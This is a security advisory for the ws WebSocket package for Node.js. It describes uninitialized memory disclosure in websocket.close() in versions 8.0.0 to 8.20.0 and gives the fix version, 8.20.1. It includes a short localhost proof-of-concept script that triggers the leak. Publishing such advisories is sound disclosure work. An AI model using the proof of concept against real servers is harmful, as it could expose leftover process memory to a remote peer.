Packages / ws / Security

ModerateVulnerabilityGHSA-58qx-3vcg-4xpxCVE-2026-45736Published 18 May 2026

ws: Uninitialized memory disclosure

Affected releases · ws

  • 8.x8.0.0 – 8.20.0Fixed in 8.20.1

On 8.x, the newest line:

npm install ws@8.20.1
  1. Not affected

    0.2.6 – 7.5.13

    143 releases

  2. Affected

    8.0.0 – 8.20.0

    35 releases

  3. Fixed

    8.20.1 – 8.22.0

    6 releases, latest

184 stable releases of ws, oldest to newest.

Is your project affected?

Paste your package.json, or type the range you declare for ws. It is read in your browser and sent nowhere.

What happens

Impact

The websocket.close() implementation is vulnerable to uninitialized memory disclosure when a TypedArray is passed as the reason argument.

Proof of concept

import { deepStrictEqual } from 'node:assert';
import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer(
  { port: 0, skipUTF8Validation: true },
  function () {
    const { port } = wss.address();
    const ws = new WebSocket(`ws://localhost:${port}`, {
      skipUTF8Validation: true
    });

    ws.on('close', function (code, reason) {
      deepStrictEqual(reason, Buffer.alloc(80));
    });
  }
);

wss.on('connection', function (ws) {
  ws.close(1000, new Float32Array(20));
});

Patches

The vulnerability was fixed in ws@8.20.1 (c0327ec).

Credits

Credit for the private and responsible disclosure of this issue goes to Nikita Skovoroda.

Remarks

Although the calculated CVSS severity is medium, the actual severity is believed to be low, as the flaw is only exploitable through misuse that is unlikely in practice.

Resources